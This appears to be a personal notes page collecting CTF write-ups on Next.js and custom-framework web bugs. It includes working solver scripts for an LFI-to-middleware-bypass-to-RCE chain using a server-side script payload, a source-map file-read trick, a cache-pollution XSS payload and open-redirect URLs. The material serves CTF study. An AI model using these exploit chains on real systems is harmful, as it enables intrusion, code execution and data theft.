Skip to content

Categories

React / NextJS / Svelte

You can only read valid json file exampleall you need is a file with //#sourceMappingURL= in it, and then the file you want to exfilitrate (it must be valid json though, which is why the dockerfile w...

Created

Updated

7 min read

Reading time

1 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

LFI in NEXTJS can lead to middleware bypass if we can read /app/.next/prerender-manifest.json

Event NameINFOBAHN CTF 2025
GitHub URL-
Challenge NamePatchNotes CMS - Revenge
Attachments
References

solution

Patchnotes CMS Revenge (intended)

  • We have an LFI vulnerability where we can only read .txt and .json files. Leak PreviewModeId from /app/.next/prerender-manifest.json.
  • Middleware can be bypassed with the header X-Prerender-Revalidate and the key we leaked in the first step.
  • RCE with happy-dom RCE https://github.com/advisories/GHSA-37j7-fg3j-429f
  • The reason why: https://github.com/vercel/next.js/blob/c274a5161845a21f32f9bf797a157a7d245cdf02/packages/next/src/server/next-server.ts#L1645C7-L1645C32https://github.com/vercel/next.js/blob/canary/packages/next/src/server/api-utils/index.ts#L89

    import requests
    
    URL = "https://patchnotes-web.challs3.infobahnc.tf/"
    
    def fetch_preview_id():
        file_path = "../../../../app/.next/prerender-manifest.json"
        response = requests.get(URL + "/api/notes/read?file=" +file_path)
        preview_id = response.json()["json"]["preview"]["previewModeId"]
        return preview_id
    
    def get_flag():
        cmd = "/readflag > /tmp/data/flag.json"
        payload = f"<script> const process = this.constructor.constructor('return process')(); const require = process.mainModule.require; console.log('Files:', require('child_process').execSync('{cmd}')); </script>"
        data = {
            "file": "patch-1.0.3.json",
            "content": payload,
        }
        requests.post(URL + f"/api/notes/save", json=data)
        header = {
            "X-Prerender-Revalidate": fetch_preview_id()
        }
        requests.post(URL + f"/admin/api/preview", json={"file": "patch-1.0.3.json"}, headers=header)
        flag_response = requests.get(URL + "/api/notes/read?file=flag.json")
        print("Flag:", flag_response.json()["content"])
    
    if __name__ == "__main__":
        get_flag()
    

    NextJS Local File Read if we can write plain text file (e.g. txt) we can read valid json file

    Event NameLA CTF 2025
    GitHub URLhttps://github.com/uclaacm/lactf-archive/tree/main/2025
    Challenge Nameold-site
    Attachments

    You can only read valid json file example

    "flag"
    or
    {"flag":"flag"}
    or
    ["flag"]
    solver
    const REMOTE = "http://localhost:3000"
    
    await (await fetch(`${REMOTE}/api/guestbook`, {
      method: "POST",
      headers: {
        "Content-Type": "application/json"
      },
      body: JSON.stringify({
        "UR MESSAGE": `//#sourceMappingURL=${encodeURIComponent("/flag.txt")}`
      })
    }))
    
    let res2 = await fetch(`${REMOTE}/__nextjs_source-map?filename=file:///app/guestbook.txt`)
    console.log(res2.status + ": " + await res2.text())

    all you need is a file with //#sourceMappingURL= in it, and then the file you want to exfilitrate (it must be valid json though, which is why the dockerfile was a bit sus and did printf "\"FLAG\"")

    Custom framework (Effectual JS) cache pollution to XSS

    Event NamePlaid CTF 2025
    GitHub URL-
    Challenge NameChatPPP
    Attachments
    References

    solve
    import httpx
    import asyncio
    import pyperclip
    
    URL = "http://localhost:3030"
    
    class BaseAPI:
        def __init__(self, url=URL) -> None:
            self.c = httpx.AsyncClient(base_url=url)
        def save(self, data: dict):
            return self.c.post("/api/chat/save", json=data)
    
    class API(BaseAPI):
        ...
    
    async def main():
        api = API()
        res = await api.save({"conversation":{
            "name": "Pwn",
            "messages": [
                {
                    "key": "dupe",
                    "$on:$effect:0": {
                        "kind": "native",
                        "tag": "div",
                        "props": {},
                        "children": [
                            "pwned",
                            {
                                "kind": "native",
                                "tag": "img",
                                "props": { "src": "", "onerror": "alert(localStorage.flag)" },
                            },
                        ],
                    },
                    "timestamp": "05-03-2025",
                    "body": "same",
                    "origin": "bot",
                },
                {
                    "key": "dupe",
                    "body": "same",
                    "timestamp": "05-03-2025",
                    "otherProps": "hi",
                    "origin": "body"
                },
            ]
        }})
        url = str(api.c.base_url)+"/share/"+str(res.json())
        # copy to clipboard
        pyperclip.copy(url)
    
    if __name__ == "__main__":
        asyncio.run(main())
    
    Author writeup

    Overview of the Bugs

    There are 2-3 bugs that interact here in order to make the problem work. This doesn't include the trivial bug that one can upload an arbitrary JSON object as a conversation log, nor the second trivial bug that said-conversation log is spread into the Message component.

    Of the real bugs, the first, most potent one is that event handlers strip the prefix before storing themselves in the effect cache. Whereas state and effect handlers are properly prefixed with $state and $effect, event handlers do not use the $on prefix. As a consequence, a malicious event handler can collide with a state or effect handler.

    This on its own is not obviously exploitable. If you try to do this, the component will error out once the $effect component runs (because it assumes the underlying object to be a LifecycleEffectContainer when in reality it is a EmitEffectContainer). These two have incompatible interface and the component will fail.

    The second primary bug is that we do not properly handle duplicate keys in the reconciler. As a consequence, if two components have the same key, upon first re-reconciliation, the first component will reconcile against the original second component.

    The third not-quite-bug-more-like-missing-mitigation is that user-supplied objects returned from the render function can be rendered as components. Now with these, we have enough to exploit the system.

    The Exploit

    Consider the two following components:

    export const ChatPreview = (props: Props) => {
        const hash = $hashState();
    
        $effect((hash) => {
            const el = document.querySelector(`_chat-${hash}`);
            el?.scrollIntoView({ behavior: "smooth" });
        }, [hash]);
    
        return (
            <div class="chat-wrapper">
                <div class="chat-messages">
                    { props.conversation.messages.map((msg, i) => (
                        <Message key={i} id={`_chat-${i}`} {...msg} />
                    )) }
                </div>
            </div>
        );
    }
    

    and

    export const Message = (props: MessageProps, ctx: MessageCtx) => {
        const formattedTime = $effect((timestamp) => {
            const date = new Date(timestamp);
            return date.toLocaleTimeString(undefined, {
                month: "long",
                day: "numeric",
                hour12: true,
                hour: "numeric",
                minute: "numeric",
            });
        }, [props.timestamp]);
    
        return (
            <div id={props.id} class="chat-message" data-origin={props.origin}>
                <div class="message-time">{formattedTime}</div>
                <div class="message-body"><Markdown body={props.body} /></div>
                { ctx.emits.share ? (
                    <div class="message-actions">
                        <Icon name="share" size={1.5} $on:click={ctx.emits.share} />
                    </div>
                ) : null }
            </div>
        )
    }
    

    If we can elide an emit with the effect, we can use it to overwrite the return value of formattedTime in Message. However, we need to get around the fact that running both the emit and the effect will crash the component. To do this, we need to render the component twice. The first time it is allowed to safely crash, the second time it must both re-render the component, and not rerender the effect. To do this, the following is needed:

  • We must render two messages with the same key.
  • The first one is our target one. It should crash the first time it is rendered.
  • The second will be our imposter -- upon second rerender the first component will be compared to this
  • The first one should have an emit called $on:$effect:0, with a value of a crafted component.
  • The second one should have at least one prop (not emit) that's different, but the same timestamp prop as the first. The differing props will trigger a component rerender, but the same timestamp will not trigger an effect rerender.
  • As an example, my exploit looked like this:

    {
        name: "Pwn",
        messages: [
            {
                key: "dupe",
                "$on:$effect:0": {
                    kind: "native",
                    tag: "div",
                    props: {},
                    children: [
                        "pwned",
                        {
                            kind: "native",
                            tag: "img",
                            props: { src: "", onerror: "alert(localStorage.flag)" },
                        },
                    ],
                },
                timestamp: "05-03-2025",
                body: "same",
                origin: "bot",
            },
            {
                key: "dupe",
                body: "same",
                timestamp: "05-03-2025",
                otherProps: "hi",
                origin: "body"
            },
        ]
    }
    

    Once you have your exploit, you can upload it as a saved conversation log. Then, point your victim to a site you control, and abuse the $hashState effect to trigger a rerender, causing the exploit to fire. For example:

    window.open("<http://localhost:3030/share/{uid}#a>", "target");
    setTimeout(() => window.open("<http://localhost:3030/share/{uid}#b>", "target"), 2000);
    
    some chat from https://discordapp.com/channels/1088345765920915466/1357879830024294551/1358560578846724106
    export const reconcileEmits = (id: SelfIdentity, emits: Record<string, Function> | undefined) => {
        if (!emits) {
            return {};
        }
    
        if (!e.effectCache.has(id)) {
            e.effectCache.set(id, new ElementCache());
        }
    
        const cache = e.effectCache.get(id)!;
        const result: Record<string, unknown> = Object.create(null);
    
        for (const key in emits) {
            if (!cache.has(key)) {
                cache.add(key, new EmitEffectContainer());
            }
    
            const container = cache.getLatest(key)! as EmitEffectContainer;
            result[key] = container.cachedFn;
    
            container.lastResult = emits[key];
            container.executed = true;
        }
    
        return result;
    };
  • its just making e.effectCache.get(id) to return the effect of a more useful element
  • 2025-04-07T05:11:00.000+08:002025-04-07T05:11:00.000+08:002025-04-07T05:11:00.000+08:00

      i was looking at that

  • 2025-04-07T05:11:00.000+08:002025-04-07T05:11:00.000+08:002025-04-07T05:11:00.000+08:00

      and it didnt work in devtools

  • 2025-04-07T05:11:00.000+08:002025-04-07T05:11:00.000+08:002025-04-07T05:11:00.000+08:00

      so i gave up

  • 2025-04-07T05:12:00.000+08:002025-04-07T05:12:00.000+08:002025-04-07T05:12:00.000+08:00

      but i realised later when looking at smth else that its just a devtools thing but didnt bother testing again

  • e.effectCache is a weakmap, you needed the exact object to key into it
  • 2025-04-07T05:54:00.000+08:002025-04-07T05:54:00.000+08:002025-04-07T05:54:00.000+08:00

      { id: 24 } implicitly created a new object

  • react developer tools

    https://chrome.google.com/webstore/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi

    clobber default view (default view equal to main?)

    https://blog.huli.tw/2022/08/21/en/corctf-2022-modern-blog-writeup/

    There an Open Redirection in next auth

    LineCTF 2024

    we can do something like this too

    http://34.146.31.52:3000/rdr?errorCode=../../../../%09/%09/%09/%09/%09/%09/%09/%09/%09/%09/example.com

    const errorCode = `../../%0A/webhook.site/be08ac4b-8f65-464f-b2be-28dd00573f89`.replaceAll("-", "%2D");

                    <Link
                        href={{
                            pathname: `/report/error/${props.errorCode}`,
                        }}
                        className="redirect_url"
                        target="_blank"
                    >

    unstable_cache interesting behaviour

    In Untitled There’s an

    Reading the cache handler API docs, if we can get get() to return null, it will signal to Next.js that the cache is empty for the given key and the fetch will go through. There are no NullPointerExceptions for object access in JavaScript, but what other errors can we.

    Categories & Topics

    This note is categorized under the following topics. Click on any category to explore more related content.

    Share this note

    Share:

    Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.